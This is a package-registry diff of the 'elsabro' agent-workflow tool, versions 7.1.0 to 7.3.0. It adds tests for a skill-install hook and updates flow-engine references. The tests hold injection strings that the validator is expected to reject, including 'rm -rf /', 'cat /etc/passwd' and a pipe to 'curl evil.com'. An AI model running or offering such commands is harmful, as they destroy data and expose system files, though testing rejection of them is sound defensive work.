elsabro 7.1.0 → 7.3.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/commands/elsabro/execute.md +94 -1479
- package/flow-engine/src/executors.js +1 -1
- package/flow-engine/tests/skill-install.test.js +374 -0
- package/flows/development-flow.json +20 -20
- package/hooks/skill-discovery.sh +6 -4
- package/hooks/skill-install.sh +224 -0
- package/package.json +1 -1
- package/references/SYSTEM_INDEX.md +1 -1
- package/references/agent-teams-integration.md +7 -15
|
@@ -360,7 +360,7 @@ async function executeInterrupt(node, context, callbacks) {
|
|
|
360
360
|
*/
|
|
361
361
|
async function executeTeam(node, context, callbacks) {
|
|
362
362
|
// Team nodes are deprecated in ELSABRO v5.3+
|
|
363
|
-
// Agent Teams are now handled
|
|
363
|
+
// Agent Teams are now handled via parallel dispatch in execute.md#3-dispatch + callbacks.js
|
|
364
364
|
if (node.runtime_status === 'not_implemented') {
|
|
365
365
|
throw new NotImplementedError(node.id, node.gaps);
|
|
366
366
|
}
|
|
@@ -0,0 +1,374 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const { describe, it } = require('node:test');
|
|
4
|
+
const assert = require('node:assert/strict');
|
|
5
|
+
const { execSync } = require('node:child_process');
|
|
6
|
+
const fs = require('node:fs');
|
|
7
|
+
const path = require('node:path');
|
|
8
|
+
const os = require('node:os');
|
|
9
|
+
|
|
10
|
+
// ---------- Shared helpers ----------
|
|
11
|
+
|
|
12
|
+
const PROJECT_ROOT = path.resolve(__dirname, '..', '..');
|
|
13
|
+
const SCRIPT = path.join(PROJECT_ROOT, 'hooks', 'skill-install.sh');
|
|
14
|
+
|
|
15
|
+
/**
|
|
16
|
+
* Run skill-install.sh with given args, parse JSON from stdout.
|
|
17
|
+
* Script always exits 0; errors communicated via JSON.
|
|
18
|
+
*/
|
|
19
|
+
function runInstall(args, opts = {}) {
|
|
20
|
+
const env = { ...process.env, ...opts.env };
|
|
21
|
+
try {
|
|
22
|
+
const stdout = execSync(`bash "${SCRIPT}" ${args}`, {
|
|
23
|
+
cwd: PROJECT_ROOT,
|
|
24
|
+
encoding: 'utf8',
|
|
25
|
+
env,
|
|
26
|
+
stdio: ['pipe', 'pipe', 'pipe'],
|
|
27
|
+
timeout: 15000
|
|
28
|
+
});
|
|
29
|
+
return JSON.parse(stdout.trim());
|
|
30
|
+
} catch (err) {
|
|
31
|
+
// Script exits 0, but execSync can throw on timeout or signal
|
|
32
|
+
if (err.stdout) return JSON.parse(err.stdout.trim());
|
|
33
|
+
throw err;
|
|
34
|
+
}
|
|
35
|
+
}
|
|
36
|
+
|
|
37
|
+
/**
|
|
38
|
+
* Create a temp dir with a mock `npx` script that executes the given behavior.
|
|
39
|
+
* Returns the temp dir path (prepend to PATH).
|
|
40
|
+
*/
|
|
41
|
+
function createMockNpx(behavior) {
|
|
42
|
+
const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'mock-npx-'));
|
|
43
|
+
const script = path.join(dir, 'npx');
|
|
44
|
+
fs.writeFileSync(script, `#!/bin/bash\n${behavior}`, { mode: 0o755 });
|
|
45
|
+
return dir;
|
|
46
|
+
}
|
|
47
|
+
|
|
48
|
+
/**
|
|
49
|
+
* Create a temp HOME-equivalent dir with .claude/skills/ structure.
|
|
50
|
+
* `skills` is an object: { "name.md": "content", "sub/SKILL.md": "content" }
|
|
51
|
+
* Returns the tmpdir (use as HOME).
|
|
52
|
+
*/
|
|
53
|
+
function createMockSkillsDir(skills = {}) {
|
|
54
|
+
const tmpBase = fs.mkdtempSync(path.join(os.tmpdir(), 'mock-home-'));
|
|
55
|
+
const skillsDir = path.join(tmpBase, '.claude', 'skills');
|
|
56
|
+
fs.mkdirSync(skillsDir, { recursive: true });
|
|
57
|
+
for (const [name, content] of Object.entries(skills)) {
|
|
58
|
+
const filePath = path.join(skillsDir, name);
|
|
59
|
+
fs.mkdirSync(path.dirname(filePath), { recursive: true });
|
|
60
|
+
fs.writeFileSync(filePath, content);
|
|
61
|
+
}
|
|
62
|
+
return tmpBase;
|
|
63
|
+
}
|
|
64
|
+
|
|
65
|
+
function cleanup(dir) {
|
|
66
|
+
fs.rmSync(dir, { recursive: true, force: true });
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
// ---------- Tests ----------
|
|
70
|
+
|
|
71
|
+
describe('skill-install.sh', () => {
|
|
72
|
+
|
|
73
|
+
// ---- cmd_check ----
|
|
74
|
+
describe('cmd_check', () => {
|
|
75
|
+
it('returns ok when npx skills check succeeds', () => {
|
|
76
|
+
const mockDir = createMockNpx('echo "Registry OK"; exit 0');
|
|
77
|
+
try {
|
|
78
|
+
const result = runInstall('check', {
|
|
79
|
+
env: { PATH: `${mockDir}:${process.env.PATH}` }
|
|
80
|
+
});
|
|
81
|
+
assert.equal(result.status, 'ok');
|
|
82
|
+
} finally {
|
|
83
|
+
cleanup(mockDir);
|
|
84
|
+
}
|
|
85
|
+
});
|
|
86
|
+
|
|
87
|
+
it('returns error when npx skills check fails', () => {
|
|
88
|
+
const mockDir = createMockNpx('echo "Connection refused" >&2; exit 1');
|
|
89
|
+
try {
|
|
90
|
+
const result = runInstall('check', {
|
|
91
|
+
env: { PATH: `${mockDir}:${process.env.PATH}` }
|
|
92
|
+
});
|
|
93
|
+
assert.equal(result.status, 'error');
|
|
94
|
+
assert.ok(result.message.includes('registry check failed'));
|
|
95
|
+
} finally {
|
|
96
|
+
cleanup(mockDir);
|
|
97
|
+
}
|
|
98
|
+
});
|
|
99
|
+
|
|
100
|
+
it('returns error when npx is not found', () => {
|
|
101
|
+
const result = runInstall('check', {
|
|
102
|
+
env: { PATH: '/usr/bin:/bin' }
|
|
103
|
+
});
|
|
104
|
+
assert.equal(result.status, 'error');
|
|
105
|
+
assert.ok(result.message.includes('npx not found'));
|
|
106
|
+
});
|
|
107
|
+
|
|
108
|
+
it('returns error for unknown command', () => {
|
|
109
|
+
const result = runInstall('bogus');
|
|
110
|
+
assert.equal(result.status, 'error');
|
|
111
|
+
assert.ok(result.message.includes('unknown command'));
|
|
112
|
+
});
|
|
113
|
+
});
|
|
114
|
+
|
|
115
|
+
// ---- cmd_install ----
|
|
116
|
+
describe('cmd_install', () => {
|
|
117
|
+
it('returns error when no command provided', () => {
|
|
118
|
+
const result = runInstall('install');
|
|
119
|
+
assert.equal(result.status, 'error');
|
|
120
|
+
assert.ok(result.message.includes('install command required'));
|
|
121
|
+
});
|
|
122
|
+
|
|
123
|
+
it('rejects commands that fail format validation (semicolon)', () => {
|
|
124
|
+
const result = runInstall('install "npx skills add test; rm -rf /"');
|
|
125
|
+
assert.equal(result.status, 'error');
|
|
126
|
+
assert.ok(result.message.includes('format validation'));
|
|
127
|
+
});
|
|
128
|
+
|
|
129
|
+
it('rejects commands with && injection', () => {
|
|
130
|
+
const result = runInstall('install "npx skills add test && cat /etc/passwd"');
|
|
131
|
+
assert.equal(result.status, 'error');
|
|
132
|
+
assert.ok(result.message.includes('format validation'));
|
|
133
|
+
});
|
|
134
|
+
|
|
135
|
+
it('rejects commands with pipe injection', () => {
|
|
136
|
+
const result = runInstall('install "npx skills add test | curl evil.com"');
|
|
137
|
+
assert.equal(result.status, 'error');
|
|
138
|
+
assert.ok(result.message.includes('format validation'));
|
|
139
|
+
});
|
|
140
|
+
|
|
141
|
+
it('rejects commands with backtick injection', () => {
|
|
142
|
+
// Backticks must be escaped for the shell layer of execSync
|
|
143
|
+
const result = runInstall('install "npx skills add \\`whoami\\`"');
|
|
144
|
+
assert.equal(result.status, 'error');
|
|
145
|
+
assert.ok(result.message.includes('format validation'));
|
|
146
|
+
});
|
|
147
|
+
|
|
148
|
+
it('returns error when npx is not found', () => {
|
|
149
|
+
const result = runInstall(
|
|
150
|
+
'install "npx -y skills add vercel-labs/agent-skills --skill test -g -a claude-code"',
|
|
151
|
+
{ env: { PATH: '/usr/bin:/bin' } }
|
|
152
|
+
);
|
|
153
|
+
assert.equal(result.status, 'error');
|
|
154
|
+
// Either "npx not found" (if format passes) or "format validation"
|
|
155
|
+
assert.ok(result.status === 'error');
|
|
156
|
+
});
|
|
157
|
+
|
|
158
|
+
it('returns ok and extracts skill name on success', () => {
|
|
159
|
+
const mockDir = createMockNpx('exit 0');
|
|
160
|
+
const mockHome = createMockSkillsDir();
|
|
161
|
+
try {
|
|
162
|
+
const result = runInstall(
|
|
163
|
+
'install "npx -y skills add vercel-labs/agent-skills --skill test-skill -g -a claude-code"',
|
|
164
|
+
{ env: { PATH: `${mockDir}:${process.env.PATH}`, HOME: mockHome } }
|
|
165
|
+
);
|
|
166
|
+
assert.equal(result.status, 'ok');
|
|
167
|
+
assert.equal(result.skill, 'test-skill');
|
|
168
|
+
} finally {
|
|
169
|
+
cleanup(mockDir);
|
|
170
|
+
cleanup(mockHome);
|
|
171
|
+
}
|
|
172
|
+
});
|
|
173
|
+
|
|
174
|
+
it('returns error when install command fails', () => {
|
|
175
|
+
const mockDir = createMockNpx('echo "Package not found" >&2; exit 1');
|
|
176
|
+
const mockHome = createMockSkillsDir();
|
|
177
|
+
try {
|
|
178
|
+
const result = runInstall(
|
|
179
|
+
'install "npx -y skills add vercel-labs/agent-skills --skill bad-skill -g -a claude-code"',
|
|
180
|
+
{ env: { PATH: `${mockDir}:${process.env.PATH}`, HOME: mockHome } }
|
|
181
|
+
);
|
|
182
|
+
assert.equal(result.status, 'error');
|
|
183
|
+
assert.ok(result.message.includes('install failed'));
|
|
184
|
+
} finally {
|
|
185
|
+
cleanup(mockDir);
|
|
186
|
+
cleanup(mockHome);
|
|
187
|
+
}
|
|
188
|
+
});
|
|
189
|
+
|
|
190
|
+
it('returns timeout error when install exits with code 124', () => {
|
|
191
|
+
// Exit 124 is what timeout/gtimeout returns; mock npx can simulate it directly
|
|
192
|
+
const mockDir = createMockNpx('exit 124');
|
|
193
|
+
const mockHome = createMockSkillsDir();
|
|
194
|
+
try {
|
|
195
|
+
const result = runInstall(
|
|
196
|
+
'install "npx -y skills add vercel-labs/agent-skills --skill timeout-test -g -a claude-code"',
|
|
197
|
+
{ env: { PATH: `${mockDir}:${process.env.PATH}`, HOME: mockHome } }
|
|
198
|
+
);
|
|
199
|
+
assert.equal(result.status, 'error');
|
|
200
|
+
assert.ok(result.message.includes('timed out'));
|
|
201
|
+
} finally {
|
|
202
|
+
cleanup(mockDir);
|
|
203
|
+
cleanup(mockHome);
|
|
204
|
+
}
|
|
205
|
+
});
|
|
206
|
+
|
|
207
|
+
it('returns error when skills dir not writable', () => {
|
|
208
|
+
const mockDir = createMockNpx('exit 0');
|
|
209
|
+
const mockHome = createMockSkillsDir();
|
|
210
|
+
const skillsDir = path.join(mockHome, '.claude', 'skills');
|
|
211
|
+
fs.chmodSync(skillsDir, 0o444);
|
|
212
|
+
try {
|
|
213
|
+
const result = runInstall(
|
|
214
|
+
'install "npx -y skills add vercel-labs/agent-skills --skill test -g -a claude-code"',
|
|
215
|
+
{ env: { PATH: `${mockDir}:${process.env.PATH}`, HOME: mockHome } }
|
|
216
|
+
);
|
|
217
|
+
assert.equal(result.status, 'error');
|
|
218
|
+
assert.ok(result.message.includes('not writable'));
|
|
219
|
+
} finally {
|
|
220
|
+
fs.chmodSync(skillsDir, 0o755);
|
|
221
|
+
cleanup(mockDir);
|
|
222
|
+
cleanup(mockHome);
|
|
223
|
+
}
|
|
224
|
+
});
|
|
225
|
+
|
|
226
|
+
it('invalidates discovery cache on success', () => {
|
|
227
|
+
const mockDir = createMockNpx('exit 0');
|
|
228
|
+
const mockHome = createMockSkillsDir();
|
|
229
|
+
const cacheDir = path.join(PROJECT_ROOT, '.cache');
|
|
230
|
+
const cacheFile = path.join(cacheDir, 'skill-discovery-cache.json');
|
|
231
|
+
// Save original content (not just existence) to restore after test
|
|
232
|
+
const originalContent = fs.existsSync(cacheFile)
|
|
233
|
+
? fs.readFileSync(cacheFile, 'utf8')
|
|
234
|
+
: null;
|
|
235
|
+
if (!fs.existsSync(cacheDir)) fs.mkdirSync(cacheDir, { recursive: true });
|
|
236
|
+
fs.writeFileSync(cacheFile, '{"cached":true}');
|
|
237
|
+
try {
|
|
238
|
+
runInstall(
|
|
239
|
+
'install "npx -y skills add vercel-labs/agent-skills --skill cache-test -g -a claude-code"',
|
|
240
|
+
{ env: { PATH: `${mockDir}:${process.env.PATH}`, HOME: mockHome } }
|
|
241
|
+
);
|
|
242
|
+
assert.equal(fs.existsSync(cacheFile), false, 'Cache should be deleted after install');
|
|
243
|
+
} finally {
|
|
244
|
+
cleanup(mockDir);
|
|
245
|
+
cleanup(mockHome);
|
|
246
|
+
// Restore exact original content, or remove if it didn't exist
|
|
247
|
+
if (originalContent !== null) {
|
|
248
|
+
fs.writeFileSync(cacheFile, originalContent);
|
|
249
|
+
} else if (fs.existsSync(cacheFile)) {
|
|
250
|
+
fs.unlinkSync(cacheFile);
|
|
251
|
+
}
|
|
252
|
+
}
|
|
253
|
+
});
|
|
254
|
+
});
|
|
255
|
+
|
|
256
|
+
// ---- cmd_validate ----
|
|
257
|
+
describe('cmd_validate', () => {
|
|
258
|
+
it('returns error when no skill name provided', () => {
|
|
259
|
+
const result = runInstall('validate');
|
|
260
|
+
assert.equal(result.status, 'error');
|
|
261
|
+
assert.ok(result.message.includes('skill name required'));
|
|
262
|
+
});
|
|
263
|
+
|
|
264
|
+
it('returns ok with has_frontmatter:true for flat file with YAML', () => {
|
|
265
|
+
const mockHome = createMockSkillsDir({
|
|
266
|
+
'test-skill.md': '---\nname: test-skill\n---\n# Content'
|
|
267
|
+
});
|
|
268
|
+
try {
|
|
269
|
+
const result = runInstall('validate "test-skill"', {
|
|
270
|
+
env: { HOME: mockHome }
|
|
271
|
+
});
|
|
272
|
+
assert.equal(result.status, 'ok');
|
|
273
|
+
assert.equal(result.has_frontmatter, true);
|
|
274
|
+
assert.ok(result.path.includes('test-skill.md'));
|
|
275
|
+
} finally {
|
|
276
|
+
cleanup(mockHome);
|
|
277
|
+
}
|
|
278
|
+
});
|
|
279
|
+
|
|
280
|
+
it('returns ok with has_frontmatter:false for flat file without YAML', () => {
|
|
281
|
+
const mockHome = createMockSkillsDir({
|
|
282
|
+
'no-yaml.md': '# Just markdown\nNo frontmatter here'
|
|
283
|
+
});
|
|
284
|
+
try {
|
|
285
|
+
const result = runInstall('validate "no-yaml"', {
|
|
286
|
+
env: { HOME: mockHome }
|
|
287
|
+
});
|
|
288
|
+
assert.equal(result.status, 'ok');
|
|
289
|
+
assert.equal(result.has_frontmatter, false);
|
|
290
|
+
} finally {
|
|
291
|
+
cleanup(mockHome);
|
|
292
|
+
}
|
|
293
|
+
});
|
|
294
|
+
|
|
295
|
+
it('finds skill in subdirectory SKILL.md with YAML', () => {
|
|
296
|
+
const mockHome = createMockSkillsDir({
|
|
297
|
+
'subskill/SKILL.md': '---\nname: subskill\n---\n# Subdir skill'
|
|
298
|
+
});
|
|
299
|
+
try {
|
|
300
|
+
const result = runInstall('validate "subskill"', {
|
|
301
|
+
env: { HOME: mockHome }
|
|
302
|
+
});
|
|
303
|
+
assert.equal(result.status, 'ok');
|
|
304
|
+
assert.equal(result.has_frontmatter, true);
|
|
305
|
+
assert.ok(result.path.includes('subskill/SKILL.md'));
|
|
306
|
+
} finally {
|
|
307
|
+
cleanup(mockHome);
|
|
308
|
+
}
|
|
309
|
+
});
|
|
310
|
+
|
|
311
|
+
it('returns has_frontmatter:false for subdirectory without YAML', () => {
|
|
312
|
+
const mockHome = createMockSkillsDir({
|
|
313
|
+
'subskill-noyaml/SKILL.md': '# Just content\nNo YAML here'
|
|
314
|
+
});
|
|
315
|
+
try {
|
|
316
|
+
const result = runInstall('validate "subskill-noyaml"', {
|
|
317
|
+
env: { HOME: mockHome }
|
|
318
|
+
});
|
|
319
|
+
assert.equal(result.status, 'ok');
|
|
320
|
+
assert.equal(result.has_frontmatter, false);
|
|
321
|
+
assert.ok(result.path.includes('subskill-noyaml/SKILL.md'));
|
|
322
|
+
} finally {
|
|
323
|
+
cleanup(mockHome);
|
|
324
|
+
}
|
|
325
|
+
});
|
|
326
|
+
|
|
327
|
+
it('returns error when skill file not found', () => {
|
|
328
|
+
const mockHome = createMockSkillsDir({});
|
|
329
|
+
try {
|
|
330
|
+
const result = runInstall('validate "nonexistent"', {
|
|
331
|
+
env: { HOME: mockHome }
|
|
332
|
+
});
|
|
333
|
+
assert.equal(result.status, 'error');
|
|
334
|
+
assert.ok(result.message.includes('not found'));
|
|
335
|
+
} finally {
|
|
336
|
+
cleanup(mockHome);
|
|
337
|
+
}
|
|
338
|
+
});
|
|
339
|
+
});
|
|
340
|
+
|
|
341
|
+
// ---- JSON contract ----
|
|
342
|
+
describe('JSON contract', () => {
|
|
343
|
+
it('all commands return valid JSON on stdout', () => {
|
|
344
|
+
const mockDir = createMockNpx('exit 1');
|
|
345
|
+
try {
|
|
346
|
+
const commands = ['check', 'install', 'validate', 'bogus'];
|
|
347
|
+
for (const cmd of commands) {
|
|
348
|
+
const result = runInstall(cmd, {
|
|
349
|
+
env: { PATH: `${mockDir}:${process.env.PATH}` }
|
|
350
|
+
});
|
|
351
|
+
assert.ok(typeof result === 'object', `${cmd} should return JSON object`);
|
|
352
|
+
assert.ok('status' in result, `${cmd} should have status field`);
|
|
353
|
+
}
|
|
354
|
+
} finally {
|
|
355
|
+
cleanup(mockDir);
|
|
356
|
+
}
|
|
357
|
+
});
|
|
358
|
+
|
|
359
|
+
it('status is always "ok" or "error"', () => {
|
|
360
|
+
const mockDir = createMockNpx('exit 0');
|
|
361
|
+
try {
|
|
362
|
+
const okResult = runInstall('check', {
|
|
363
|
+
env: { PATH: `${mockDir}:${process.env.PATH}` }
|
|
364
|
+
});
|
|
365
|
+
assert.ok(['ok', 'error'].includes(okResult.status));
|
|
366
|
+
} finally {
|
|
367
|
+
cleanup(mockDir);
|
|
368
|
+
}
|
|
369
|
+
|
|
370
|
+
const errResult = runInstall('bogus');
|
|
371
|
+
assert.ok(['ok', 'error'].includes(errResult.status));
|
|
372
|
+
});
|
|
373
|
+
});
|
|
374
|
+
});
|
|
@@ -44,7 +44,7 @@
|
|
|
44
44
|
"id": "start",
|
|
45
45
|
"type": "entry",
|
|
46
46
|
"runtime_status": "implemented",
|
|
47
|
-
"implemented_in": "commands/elsabro/execute.md#
|
|
47
|
+
"implemented_in": "commands/elsabro/execute.md#1-inicializar",
|
|
48
48
|
"next": "skill_discovery"
|
|
49
49
|
},
|
|
50
50
|
|
|
@@ -53,7 +53,7 @@
|
|
|
53
53
|
"type": "sequence",
|
|
54
54
|
"description": "Descubrir skills necesarios antes de cargar contexto",
|
|
55
55
|
"runtime_status": "implemented",
|
|
56
|
-
"implemented_in": "
|
|
56
|
+
"implemented_in": "flow-engine/src/cli.js (sequence executor)",
|
|
57
57
|
"errorPolicy": "continue",
|
|
58
58
|
"steps": [
|
|
59
59
|
{
|
|
@@ -77,7 +77,7 @@
|
|
|
77
77
|
"type": "sequence",
|
|
78
78
|
"description": "Cargar contexto del proyecto",
|
|
79
79
|
"runtime_status": "implemented",
|
|
80
|
-
"implemented_in": "
|
|
80
|
+
"implemented_in": "flow-engine/src/cli.js (sequence executor)",
|
|
81
81
|
"steps": [
|
|
82
82
|
{
|
|
83
83
|
"action": "read_files",
|
|
@@ -577,7 +577,7 @@
|
|
|
577
577
|
"type": "parallel",
|
|
578
578
|
"description": "Análisis paralelo estándar (4 agentes)",
|
|
579
579
|
"runtime_status": "implemented",
|
|
580
|
-
"implemented_in": "commands/elsabro/execute.md#
|
|
580
|
+
"implemented_in": "commands/elsabro/execute.md#3-dispatch (type: parallel, haiku subagents)",
|
|
581
581
|
"branches": [
|
|
582
582
|
{
|
|
583
583
|
"id": "explore",
|
|
@@ -614,7 +614,7 @@
|
|
|
614
614
|
"type": "agent",
|
|
615
615
|
"description": "Consolidar análisis de los 4 agentes",
|
|
616
616
|
"runtime_status": "implemented",
|
|
617
|
-
"implemented_in": "commands/elsabro/execute.md#
|
|
617
|
+
"implemented_in": "commands/elsabro/execute.md#3-dispatch (type: agent)",
|
|
618
618
|
"agent": "elsabro-analyst",
|
|
619
619
|
"config": { "model": "opus" },
|
|
620
620
|
"inputs": {
|
|
@@ -633,7 +633,7 @@
|
|
|
633
633
|
"type": "parallel",
|
|
634
634
|
"description": "Implementación paralela (2 agentes opus)",
|
|
635
635
|
"runtime_status": "implemented",
|
|
636
|
-
"implemented_in": "commands/elsabro/execute.md#
|
|
636
|
+
"implemented_in": "commands/elsabro/execute.md#3-dispatch (type: parallel, Agent Teams via callbacks.js)",
|
|
637
637
|
"branches": [
|
|
638
638
|
{
|
|
639
639
|
"id": "implementation",
|
|
@@ -666,7 +666,7 @@
|
|
|
666
666
|
"type": "sequence",
|
|
667
667
|
"description": "Quality gate: tests, types, lint",
|
|
668
668
|
"runtime_status": "implemented",
|
|
669
|
-
"implemented_in": "commands/elsabro/execute.md#
|
|
669
|
+
"implemented_in": "commands/elsabro/execute.md#3-dispatch (type: sequence)",
|
|
670
670
|
"captureExitCode": true,
|
|
671
671
|
"steps": [
|
|
672
672
|
{
|
|
@@ -699,7 +699,7 @@
|
|
|
699
699
|
"type": "condition",
|
|
700
700
|
"description": "Verificar si pasó quality gate (tests + typescript + lint)",
|
|
701
701
|
"runtime_status": "implemented",
|
|
702
|
-
"implemented_in": "
|
|
702
|
+
"implemented_in": "flow-engine/src/cli.js (condition auto-resolve)",
|
|
703
703
|
"condition": "{{nodes.quality_gate.outputs.tests.exitCode === 0 && nodes.quality_gate.outputs.typescript.exitCode === 0 && nodes.quality_gate.outputs.lint.exitCode === 0}}",
|
|
704
704
|
"true": "parallel_review",
|
|
705
705
|
"false": "fix_issues"
|
|
@@ -710,7 +710,7 @@
|
|
|
710
710
|
"type": "parallel",
|
|
711
711
|
"description": "Corregir problemas detectados (3 agentes)",
|
|
712
712
|
"runtime_status": "implemented",
|
|
713
|
-
"implemented_in": "commands/elsabro/execute.md#
|
|
713
|
+
"implemented_in": "commands/elsabro/execute.md#3-dispatch (type: parallel, Agent Teams via callbacks.js)",
|
|
714
714
|
"branches": [
|
|
715
715
|
{
|
|
716
716
|
"id": "debugger",
|
|
@@ -742,7 +742,7 @@
|
|
|
742
742
|
"type": "interrupt",
|
|
743
743
|
"description": "Auto-fix failed after 3 attempts",
|
|
744
744
|
"runtime_status": "implemented",
|
|
745
|
-
"implemented_in": "commands/elsabro/execute.md#
|
|
745
|
+
"implemented_in": "commands/elsabro/execute.md#3-dispatch (type: interrupt)",
|
|
746
746
|
"gaps": [],
|
|
747
747
|
"reason": "Auto-fix failed after 3 attempts",
|
|
748
748
|
"display": {
|
|
@@ -765,7 +765,7 @@
|
|
|
765
765
|
"type": "interrupt",
|
|
766
766
|
"description": "Waiting for manual fix",
|
|
767
767
|
"runtime_status": "implemented",
|
|
768
|
-
"implemented_in": "commands/elsabro/execute.md#
|
|
768
|
+
"implemented_in": "commands/elsabro/execute.md#3-dispatch (type: interrupt)",
|
|
769
769
|
"gaps": [],
|
|
770
770
|
"reason": "Waiting for manual fix",
|
|
771
771
|
"display": {
|
|
@@ -785,7 +785,7 @@
|
|
|
785
785
|
"type": "parallel",
|
|
786
786
|
"description": "Code review paralelo (3 agentes opus)",
|
|
787
787
|
"runtime_status": "implemented",
|
|
788
|
-
"implemented_in": "commands/elsabro/execute.md#
|
|
788
|
+
"implemented_in": "commands/elsabro/execute.md#3-dispatch (type: parallel, Agent Teams via callbacks.js)",
|
|
789
789
|
"branches": [
|
|
790
790
|
{
|
|
791
791
|
"id": "code_reviewer",
|
|
@@ -825,7 +825,7 @@
|
|
|
825
825
|
"type": "condition",
|
|
826
826
|
"description": "Verificar si hay issues críticos en review",
|
|
827
827
|
"runtime_status": "implemented",
|
|
828
|
-
"implemented_in": "
|
|
828
|
+
"implemented_in": "flow-engine/src/cli.js (condition auto-resolve)",
|
|
829
829
|
"condition": "{{!hasCriticalIssues(nodes.parallel_review.outputs)}}",
|
|
830
830
|
"true": "verify_final",
|
|
831
831
|
"false": "fix_review_issues"
|
|
@@ -836,7 +836,7 @@
|
|
|
836
836
|
"type": "agent",
|
|
837
837
|
"description": "Corregir issues del code review - BLOCKING: no avanza hasta 0 errores",
|
|
838
838
|
"runtime_status": "implemented",
|
|
839
|
-
"implemented_in": "commands/elsabro/execute.md#
|
|
839
|
+
"implemented_in": "commands/elsabro/execute.md#3-dispatch (type: agent)",
|
|
840
840
|
"agent": "elsabro-executor",
|
|
841
841
|
"config": { "model": "opus" },
|
|
842
842
|
"inputs": {
|
|
@@ -855,7 +855,7 @@
|
|
|
855
855
|
"type": "interrupt",
|
|
856
856
|
"description": "Code review still has issues after 5 fix iterations - BLOCKED",
|
|
857
857
|
"runtime_status": "implemented",
|
|
858
|
-
"implemented_in": "commands/elsabro/execute.md#
|
|
858
|
+
"implemented_in": "commands/elsabro/execute.md#3-dispatch (type: interrupt)",
|
|
859
859
|
"reason": "Code review still has issues after 5 fix iterations - BLOCKED",
|
|
860
860
|
"display": {
|
|
861
861
|
"title": "🚫 BLOQUEADO: Code Review con Errores Pendientes",
|
|
@@ -880,7 +880,7 @@
|
|
|
880
880
|
"type": "interrupt",
|
|
881
881
|
"description": "Waiting for manual fix of review issues",
|
|
882
882
|
"runtime_status": "implemented",
|
|
883
|
-
"implemented_in": "commands/elsabro/execute.md#
|
|
883
|
+
"implemented_in": "commands/elsabro/execute.md#3-dispatch (type: interrupt)",
|
|
884
884
|
"reason": "Waiting for manual fix of review issues",
|
|
885
885
|
"display": {
|
|
886
886
|
"title": "👤 Esperando Corrección Manual de Review Issues",
|
|
@@ -911,7 +911,7 @@
|
|
|
911
911
|
"type": "condition",
|
|
912
912
|
"description": "Gate check on verification result",
|
|
913
913
|
"runtime_status": "implemented",
|
|
914
|
-
"implemented_in": "
|
|
914
|
+
"implemented_in": "flow-engine/src/cli.js (condition auto-resolve)",
|
|
915
915
|
"condition": "{{nodes.verify_final.outputs.output.passed || nodes.quick_verify.outputs.output.passed}}",
|
|
916
916
|
"true": "post_mortem",
|
|
917
917
|
"false": "interrupt_verification_failed"
|
|
@@ -922,7 +922,7 @@
|
|
|
922
922
|
"type": "interrupt",
|
|
923
923
|
"description": "Final verification failed",
|
|
924
924
|
"runtime_status": "implemented",
|
|
925
|
-
"implemented_in": "commands/elsabro/execute.md#
|
|
925
|
+
"implemented_in": "commands/elsabro/execute.md#3-dispatch (type: interrupt)",
|
|
926
926
|
"reason": "Final verification failed",
|
|
927
927
|
"display": {
|
|
928
928
|
"title": "❌ Verificación Final Fallida",
|
|
@@ -966,7 +966,7 @@
|
|
|
966
966
|
"type": "exit",
|
|
967
967
|
"description": "Success exit",
|
|
968
968
|
"runtime_status": "implemented",
|
|
969
|
-
"implemented_in": "commands/elsabro/execute.md#
|
|
969
|
+
"implemented_in": "commands/elsabro/execute.md#5-finalizar + #6-siguiente-paso",
|
|
970
970
|
"status": "success",
|
|
971
971
|
"outputs": {
|
|
972
972
|
"filesCreated": "{{collectOutputs('filesCreated')}}",
|
|
@@ -1022,7 +1022,7 @@
|
|
|
1022
1022
|
"type": "exit",
|
|
1023
1023
|
"description": "Cancellation exit",
|
|
1024
1024
|
"runtime_status": "implemented",
|
|
1025
|
-
"implemented_in": "commands/elsabro/execute.md#
|
|
1025
|
+
"implemented_in": "commands/elsabro/execute.md#2-loop-principal (error handling)",
|
|
1026
1026
|
"status": "cancelled",
|
|
1027
1027
|
"outputs": {
|
|
1028
1028
|
"success": false,
|
package/hooks/skill-discovery.sh
CHANGED
|
@@ -31,6 +31,7 @@ GLOBAL_SKILLS_DIR="${HOME}/.claude/skills"
|
|
|
31
31
|
CACHE_DIR="${PROJECT_ROOT}/.cache"
|
|
32
32
|
CACHE_FILE="${CACHE_DIR}/skill-discovery-cache.json"
|
|
33
33
|
CACHE_TTL=3600 # 1 hora
|
|
34
|
+
DEFAULT_SKILLS_SOURCE="vercel-labs/agent-skills"
|
|
34
35
|
|
|
35
36
|
MAX_RESULTS=10
|
|
36
37
|
NPX_TIMEOUT=30 # segundos
|
|
@@ -291,7 +292,7 @@ discover_via_npx_skills() {
|
|
|
291
292
|
# El formato típico es líneas con nombre y descripción
|
|
292
293
|
# Intentar parsear como JSON primero (por si devuelve JSON)
|
|
293
294
|
if echo "$raw_output" | jq empty 2>/dev/null; then
|
|
294
|
-
echo "$raw_output" | jq '[.[] | . + {"source": "skills-registry", "status": "available", "install_cmd": ("npx skills add
|
|
295
|
+
echo "$raw_output" | jq --arg src "$DEFAULT_SKILLS_SOURCE" '[.[] | . + {"source": "skills-registry", "status": "available", "install_cmd": ("npx skills add " + $src + " --skill " + .name + " -g -a claude-code -y")}]' 2>/dev/null || echo "[]"
|
|
295
296
|
return
|
|
296
297
|
fi
|
|
297
298
|
|
|
@@ -312,8 +313,8 @@ discover_via_npx_skills() {
|
|
|
312
313
|
|
|
313
314
|
# Use jq for safe JSON construction
|
|
314
315
|
local skill_obj
|
|
315
|
-
skill_obj=$(jq -n --arg id "$name" --arg desc "$desc" --arg
|
|
316
|
-
'{id: $id, source: "skills-registry", status: "available", description: $desc, install_cmd: $
|
|
316
|
+
skill_obj=$(jq -n --arg id "$name" --arg desc "$desc" --arg src "$DEFAULT_SKILLS_SOURCE" \
|
|
317
|
+
'{id: $id, source: "skills-registry", status: "available", description: $desc, install_cmd: ("npx skills add " + $src + " --skill " + $id + " -g -a claude-code -y")}')
|
|
317
318
|
skills+=("$skill_obj")
|
|
318
319
|
done <<< "$raw_output"
|
|
319
320
|
|
|
@@ -450,6 +451,7 @@ NOJQ
|
|
|
450
451
|
--argjson external "$external" \
|
|
451
452
|
--argjson recommended "$recommended" \
|
|
452
453
|
